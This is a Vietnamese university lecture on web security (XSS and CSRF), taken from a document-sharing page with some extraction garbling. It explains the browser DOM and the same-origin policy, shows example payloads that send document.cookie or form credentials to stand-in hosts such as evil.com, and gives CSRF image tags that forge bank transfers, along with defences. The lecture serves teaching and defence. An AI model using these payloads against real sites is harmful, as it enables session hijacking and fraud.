Bài giảng An toàn an ninh mạng - Bài 7: An toàn dịch vụ Web XSS và CSRF - Bùi Trọng Tùng

Hiển trị (rendering) nội dung trang web

• Mô hình xử lý cơ bản tại trình duyệt: mỗi cửa sổ hoặc 1

frame:

Nhận thông điệp HTTP Response

Hiển thị:

Xử lý mã HTML, CSS, Javascripts

Gửi thông điệp HTTP Request yêu cầu các đối tượng khác(nếu có)

Bắt và xử lý sự kiện

• Các sự kiện có thể xảy ra:

Sự kiện của người dùng: OnClick, OnMouseOver

Sự kiện khi hiển thị: OnLoad, OnBeforeUnload

Theo thời gian: setTimeout(), clearTimeout()

Document Object Model(DOM)

• Tổ chức các đối tượng của trang HTML thành cấu trúc

cây

• Cung cấp API (hướng đối tượng)để tương tác

• Ví dụ:

Thuộc tính: document.alinkColor, document.URL, document.forms[

], document.links[ ]

Phương thức: document.write()

• Bao gồm cả đối tượng của trình duyệt(Browser Object

Model - BOM): window, document, frames[], history,

location

Bài giảng An toàn an ninh mạng - Bài 7: An toàn dịch vụ Web XSS và CSRF - Bùi Trọng Tùng trang 1

Trang 1

Bài giảng An toàn an ninh mạng - Bài 7: An toàn dịch vụ Web XSS và CSRF - Bùi Trọng Tùng trang 2

Trang 2

Bài giảng An toàn an ninh mạng - Bài 7: An toàn dịch vụ Web XSS và CSRF - Bùi Trọng Tùng trang 3

Trang 3

Bài giảng An toàn an ninh mạng - Bài 7: An toàn dịch vụ Web XSS và CSRF - Bùi Trọng Tùng trang 4

Trang 4

Bài giảng An toàn an ninh mạng - Bài 7: An toàn dịch vụ Web XSS và CSRF - Bùi Trọng Tùng trang 5

Trang 5

Bài giảng An toàn an ninh mạng - Bài 7: An toàn dịch vụ Web XSS và CSRF - Bùi Trọng Tùng trang 6

Trang 6

Bài giảng An toàn an ninh mạng - Bài 7: An toàn dịch vụ Web XSS và CSRF - Bùi Trọng Tùng trang 7

Trang 7

Bài giảng An toàn an ninh mạng - Bài 7: An toàn dịch vụ Web XSS và CSRF - Bùi Trọng Tùng trang 8

Trang 8

Bài giảng An toàn an ninh mạng - Bài 7: An toàn dịch vụ Web XSS và CSRF - Bùi Trọng Tùng trang 9

Trang 9

Bài giảng An toàn an ninh mạng - Bài 7: An toàn dịch vụ Web XSS và CSRF - Bùi Trọng Tùng trang 10

Trang 10

Tải về để xem bản đầy đủ

pdf 20 trang duykhanh 9600
Bạn đang xem 10 trang mẫu của tài liệu "Bài giảng An toàn an ninh mạng - Bài 7: An toàn dịch vụ Web XSS và CSRF - Bùi Trọng Tùng", để tải tài liệu gốc về máy hãy click vào nút Download ở trên

Tóm tắt nội dung tài liệu: Bài giảng An toàn an ninh mạng - Bài 7: An toàn dịch vụ Web XSS và CSRF - Bùi Trọng Tùng

Bài giảng An toàn an ninh mạng - Bài 7: An toàn dịch vụ Web XSS và CSRF - Bùi Trọng Tùng
 BÀI 7.
 AN TOÀN DỊCH VỤ WEB
 XSS & CSRF
 Bùi Trọng Tùng,
 Viện Công nghệ thông tin và Truyền thông,
 Đại học Bách khoa Hà Nội
 1
Nội dung
• Xử lý trang web tại trình duyệt
• XSS
• CSRF
 2
 1
 1. XỬ LÝ TẠI TRÌNH DUYỆT 
 Bùi Trọng Tùng,
 Viện Công nghệ thông tin và Truyền thông,
 Đại học Bách khoa Hà Nội
 3
Tương tác trình duyệt Web-Web server
 HTTP Request(GET, POST, HEAD, PUT)
 HTTP Response(HTML Page, JS file, 
 CSS file, image, ...)
 Hiển thị
 Database Queries
 4
 2
Hiển trị (rendering) nội dung trang web
• Mô hình xử lý cơ bản tại trình duyệt: mỗi cửa sổ hoặc 1 
 frame:
 Nhận thông điệp HTTP Response
 Hiển thị:
 Xử lý mã HTML, CSS, Javascripts
 Gửi thông điệp HTTP Request yêu cầu các đối tượng khác(nếu có)
 Bắt và xử lý sự kiện
• Các sự kiện có thể xảy ra:
 Sự kiện của người dùng: OnClick, OnMouseOver
 Sự kiện khi hiển thị: OnLoad, OnBeforeUnload
 Theo thời gian: setTimeout(), clearTimeout()
 5
Ví dụ
 My First Web Page
 My first paragraph.
 Try it
 6
 3
Document Object Model(DOM)
• Tổ chức các đối tượng của trang HTML thành cấu trúc 
 cây
• Cung cấp API (hướng đối tượng)để tương tác
• Ví dụ:
 Thuộc tính: document.alinkColor, document.URL, document.forms[ 
 ], document.links[ ]
 Phương thức: document.write()
• Bao gồm cả đối tượng của trình duyệt(Browser Object 
 Model - BOM): window, document, frames[], history, 
 location
 7
DOM – Ví dụ
 Example ... 
 Alice
 document
 head body
 title ... a
 Alice
 8
 4
 DOM – Ví dụ khác
 ...
 flip = 0;
 function flipText() {
 var x = document.getElementById('myid').firstChild;
 if(flip == 0) { x.nodeValue = 'Bob'; flip = 1;}
 else { x.nodeValue = 'Alice'; flip = 0; }
 }
 document
<a id="myid" head body
 href="javascript:flipText()">
 Alice
 script a
 flipText Alice
 9
 Javascript
 • Ngôn ngữ cho phép xây dựng các script để trình duyệt 
 thực thi
 • Được nhúng vào các trang web mà server trả về cho 
 client
 • Thường sử dụng để tương tác với DOM
 • Khả năng tương tác rất mạnh:
 Thay đổi nội dung trang web
 Theo dõi các sự kiện trên trang web (bao gồm cả hành vi của 
 người dùng: rê chuột, nhấp chuột, gõ phím)
 Đọc, thiết lập cookie
 Sinh các HTTP Request khác và đọc HTTP Response trả về
 10
 5
 Chính sách cùng nguồn(SOP)
 • Same Origin Policy
 • Chính sách sử dụng trên trình duyệt Web
 • Nguồn = Giao thức + Hostname + Cổng ứng dụng
 • Chính sách SOP: Trang web của nguồn này không được 
 phép đọc, thay đổi nội dung trang web của nguồn khác
 cách ly các trang web khác nguồn
 A B A
 A
 B
 11
 SOP – Ví dụ
Kiểm tra khả năng truy cập từ 
 Compared URL Outcome
httpː//www.example.com/dir/page2.html Success
httpː//www.example.com/dir2/other.html Success
httpː//username:password@www.example.com/dir2/other.html Success
httpː//www.example.com:81/dir/other.html Failure
https://www.example.com/dir/other.html Failure
 Failure
 Failure
 Failure
httpː//www.example.com:80/dir/other.html Depends
 12
 6
 2. TẤN CÔNG DẠNG CROSS SITE 
 SCRIPTING (XSS)
 Bùi Trọng Tùng,
 Viện Công nghệ thông tin và Truyền thông,
 Đại học Bách khoa Hà Nội
 13
Tấn công XSS (Cross Site Scripting)
• Lỗ hổng XSS: ứng dụng web không kiểm soát sự có mặt của mã thực 
 thi trong giá trị tham số đầu vào và/hoặc trong kết quả trả về trên 
 thông điệp HTTP Response 
• Tấn công XSS: lợi dụng lỗ hổng XSS để ẩn giấu mã độc trong thông 
 điệp HTTP Request và lừa ứng dụng web trả về thông điệp HTTP 
 Response chứa mã độc này.
• Hậu quả: trình duyệt của người dùng thông thường thực thi mã độc 
 nằm trong thông điệp HTTP Response nhận được từ web server
• Có thể thực hiện tương tự trên các dịch vụ email, trình đọc file PDF
• Các phương phép chèn mã thực thi:
  Reflected XSS
  Stored XSS
  DOM-based XSS
 14
 7
 Tấn công Reflected XSS 
 Attack Server
Victim Server evil.com
 (5) Trình Victim Server
 duyệt thực 
 thi mã độc
 victim.com
 15
 Tấn công Reflected XSS - Ví dụ
 • Giả sử trên website của mục tiêu cung cấp tính năng tìm 
 kiếm.
 • Đoạn mã thực thi trên server như sau:
 Search Results 
 Results for :
 . . .
 16
 8
 Tấn công Reflected XSS - Ví dụ (tiếp)
 • Người dùng tải một trang web từ server của kẻ tấn công 
 chưa đường dẫn sau
 document.location=‘’+ 
 document.cookie)
 • Điều gì xảy ra khi người dùng nhấp vào đường dẫn trên?
 17
 term=%3Cscript%3Edocument.location=‘evil.
 com/’ +document.cookie;%3C/script%3E
 “Check out this link!”
Session token của người dùng trên m.com/search.ph
victim.com p? 
 term=%3Cscript
 %3Edocument.loc
 evil.com/f9geiv33knv141 ation=‘evil.com/’ 
 +document.cookie
 HTTP ;%3C/script%3E
 Response
 chứa mã thực 
 thi đã truyền 
 qua giá trị victim.com
 evil.com đầu vào
 18
 9
 Tấn công Stored XSS
 Attack Browser/Server
 evil.com
 (1)Chèn mã 
 độc vào CSDL 
 của mục tiêu
 (4)Trình duyệt 
 thực thi mã 
 độc
 bank.com
 19
 Session token của người 
 evil.com dùng trên victim.com
 evil.com/f9geiv33knv141
 Comment with text:
 document.location = “evil.com/” + 
Posts comment with text: document.cookie
document.location = “evil.com/” + 
document.cookie
 victim.com
 20
 10
Tấn công Stored XSS – Ví dụ
• Tấn công vào myspace.com năm 2007 để phát tán sâu 
 Samy
• Myspace cho phép người dùng đăng bài dưới dạng mã 
 HTML:
 Kiểm soát, không cho phép nhúng Javascript vào các thẻ 
 , , onclick, 
 Nhưng không kiểm soát việc nhúng vào thẻ CSS:
 Hoặc ẩn từ khóa “javascript” thành “java\nscript”
• Khi sâu Samy được thực thi, tài khoản người dùng tự động 
 kết bạn với tài khoản có tên Samy
 Trong 24 giờ, Samy có hàng triệu bạn bè
 21
Tấn công DOM-based XSS
• Lỗ hổng: trình duyệt được phép thực thi script được 
 nhúng trong đối tượng DOM của trang web đang hiển thị
• Không thể phát hiện được tại server
 22
 11
DOM-based XSS - Ví dụ
• Trang có lỗ hổng
 Welcome!
 Hi 
 var pos = document.URL.indexOf("name=") + 5; 
 document.write(document.URL.substring(pos,document.URL.l
 ength));
• Yêu cầu thông thường
• Nhúng mã thực thi
alert(document.cookie)
 23
Phòng chống tấn công XSS phía server
• Open Web Application Security Project (OWASP)
• Kiểm tra cẩn thận HTTP header, cookie, truy vấn, các 
 trường ẩn
• Không nên cố gắng nhận dạng, loại trừ, lọc các đối tượng 
 chủ động (active content)
• Nên sử dụng các chính sách dạng “positive” liệt kê những 
 đối tượng, hành vi được phép, thay vì các chính sách 
 dạng “negative”
• Kiểm tra giá trị đầu vào do client cung cấp
• Từ chối/sử dụng các bộ mã cho các ký tự đặc biệt với 
 chuỗi đầu ra. Ví dụ dùng < cho ‘’, " 
 cho “...
 24
 12
Chú ý: Mã Javascript có thể chèn vào 
nhiều vị trí khác nhau trên trang web
• Sử dụng mã Javascript như một URI
• Chèn mã Javascript vào các thuộc tính của 
 phương thức xử lý sự kiện (OnSubmit, OnError, 
 OnLoad, )
• Một số ví dụ:
  
  
  action="logon.jsp" method="post"
 onsubmit="hackImg=new Image;
 hackImg.src='
 ms(1).login.value'+':'+
 document.forms(1).password.value;" 25
Phòng chống XSS phía server
• Sử dụng bộ lọc chuỗi giá trị đầu ra để loại các ký 
 tự nhạy cảm:
 Hãy cẩn thận với các mẹo vượt qua bộ lọc
 Hãy lọc nhiều lần cho tới khi loại hết các từ khóa
 Ví dụ: lọc 1 lần chuỗi <script
 <script src = “...” src = “...”
 Nhưng <scr<scriptipt src = “...” <script src = “...”
• Một số công cụ khác: Dynamic Data Tainting, 
 Static Analysis
 26
 13
Phòng chống tấn công XSS phía server
• https://www.owasp.org/index.php/XSS_Filter_Evasion_Ch
 eat_Sheet
• https://www.owasp.org/index.php/XSS_(Cross_Site_Scrip
 ting)_Prevention_Cheat_Sheet
• https://www.owasp.org/index.php/DOM_based_XSS_Prev
 ention_Cheat_Sheet
 27
 3. TẤN CÔNG DẠNG CROSS SITE 
 REQUEST FORGERY
 Bùi Trọng Tùng,
 Viện Công nghệ thông tin và Truyền thông,
 Đại học Bách khoa Hà Nội
 28
 14
Tấn công CSRF
• Lợi dụng hiệu ứng bên (side effect) để tạo ra các HTTP 
 Request giả mạo.
 Hiệu ứng bên (side effect): trong quá trình hiển thị (render) trang 
 web, trình duyệt có thể tự động truy cập đến tài nguyên những 
 liên kết khác mà không được kiểm soát.
Ví dụ: <img height=0″ width=”0″ src=”
account=bob_id&amount=1000000&for=Alie_ id”/>
• Thường kết hợp khai thác các lỗ hổng không kiểm soát 
 việc lưu giữ và truy cập cookie trên trình duyệt
• Lưu ý: tấn công CSRF khác tấn công XSS 
 29
Tấn công CSRF – Ví dụ
• Người dùng đăng nhập trên website bank.com và thực 
 hiện một giao dịch chuyển tiền
 Trình duyệt lưu cookie của phiên làm việc(gồm các thông tin người 
 dùng đã xác thực với ngân hàng)
• Người dùng truy cập vào một trang web chứa đoạn mã 
 độc(Ví dụ attacker.com):
 document.F.submit(); 
• Khi hiển thị trang web, trình duyệt tạo một HTTP Request 
 với cookie ở trên để thực thi giao dịch chuyển tiền cho 
 attacker
 30
 15
Tấn công CSRF – Ví dụ
 Xác thực với bank.com
 bank.com
 /transfer?amount=500&dest=Bob
 evil.com
 Kiểm tra session token 
 Chuyển $500 tới Bob
 31
Tấn công CSRF – Ví dụ
 /transfer?amount=10000&dest=evilcorp
 bank.com
 <img src=“
 transfer?amount=10000&id=evilcorp”>
 evil.com
 $10000
 Kiểm tra session token 
 Gửi $10000 tới EvilCorp
 32
 16
Tấn công CSRF – Ví dụ
• “Drive-By Pharming”, Sid Stamm, Zulfikar Ramzan, 
 Markus Jakobsson, ICICS'07 
• Các thiết bị router phục vụ cho gia đình/văn phòng nhỏ 
 cho phép cấu hình qua giao diện Web
 Người dùng cần đăng nhập. Tuy nhiên hầu hết dùng tài khoản mặc 
 định của nhà sản xuất
• Tấn công Drive-by Pharming:
 Người dùng truy cập vào website chứa mã độc
 Một Javascript quét và tìm địa chỉ router
 Sử dụng Javascript để phát hiện hãng sản xuất và tên sản phẩm 
 (thường thể hiện qua logo)
 Login và sửa thông số cấu hình qua phương thức GET trên URL
 33
Phòng chống tấn công CSRF phía server
• Kiểm tra nguồn sinh request qua trường Referer trong 
 tiêu đề thông điệp HTTP.
Referer: 
 Hạn chế: lộ thông tin thói quen của người dùng
• Khắc phục: Sử dụng trường Origin
 Origin: 
• Sử dụng XMLHttpRequest API
 Phương thức setRequestHeader cho phép thêm 1 trường bất kỳ 
 trong tiêu đề HTTP Request
 Ví dụ: thư viện prototype.js của JavaScript sử dụng X-
 Requested-By
• Sử dụng xác thực đa yếu tố, capcha, secret token
 34
 17
Phòng chống tấn công CSRF phía server
• https://www.owasp.org/index.php/Cross-
 Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet
• https://www.owasp.org/index.php/Reviewing_code_for_Cr
 oss-Site_Request_Forgery_issues
 35
Tổng kết
• Command Injection:
 Chèn mã độc vào giá trị đầu vào để thực thi trên server
• SQL Injection:
 Chèn truy vấn SQL vào giá trị đầu vào để truy cập CSDL trái phép 
 trên server
• CSRF:
 Lợi dụng hiệu ứng bên (site effect) để gửi các HTTP Request độc 
 hại từ trình duyệt của người dùng
• XSS
 Chèn mã độc vào giá trị đầu vào và lợi dụng kết quả server trả về 
 để thực thi trên client
 36
 18
Một số biện pháp phòng chống trên web 
server
• Kiểm tra cẩn thận HTTP header, cookie, thẻ bài
• Kiểm tra cẩn thận giá trị đầu vào, kết quả trả về
• Sử dụng các công cụ kiểm thử black box
• Sử dụng các công cụ quét mã độc: Google Analytic, 
 Norton Safe Web...
• Theo dõi và cập nhật đầy đủ các bản vá bảo mật
• Sử dụng firewall dịch vụ web: Apache Mod Security, 
 Imperva SecureSphere Web Application Firewall, Check 
 Point Web Security
 37
Người dùng được bảo vệ như thế nào?
 38
 19
Bài giảng sử dụng một số hình vẽ và ví dụ từ các bài 
giảng:
• Computer and Network Security, Stanford University
• Computer Security, Berkeley University
• Introduction to Computer Security, Carnegie Mellon 
 University
 39
 20

File đính kèm:

  • pdfbai_giang_an_toan_an_ninh_mang_bai_7_an_toan_dich_vu_web_xss.pdf